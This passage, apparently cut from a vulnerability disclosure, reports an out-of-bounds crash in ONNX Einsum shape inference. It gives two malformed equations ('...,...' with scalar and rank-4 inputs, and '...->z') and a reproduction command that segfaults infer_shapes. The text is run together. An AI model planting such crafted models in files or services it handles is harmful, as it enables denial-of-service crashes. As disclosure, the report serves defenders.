onnx/defs/math/defs.cc, einsumShapeInference).
Affects onnx <= 1.21.0 (latest)..onnx with a malformed Einsum equation crashes the standard ONNX processing APIs
onnx.shape_inference.infer_shapes() and onnx.checker.check_model(model, full_check=True).
Loading alone (onnx.load) does not crash.evil_einsum.onnx — vector 1: equation="...,...", scalar + rank-4 inputs (mutable_dim(i) OOB)variantB.onnx — vector 2: equation="...->z", RHS label absent from LHS (dims_value.dim() OOB)1pip install onnx # 1.21.0
2python -c "import onnx; onnx.shape_inference.infer_shapes(onnx.load('evil_einsum.onnx'))"
3# -> Segmentation fault (core dumped) (exit 139)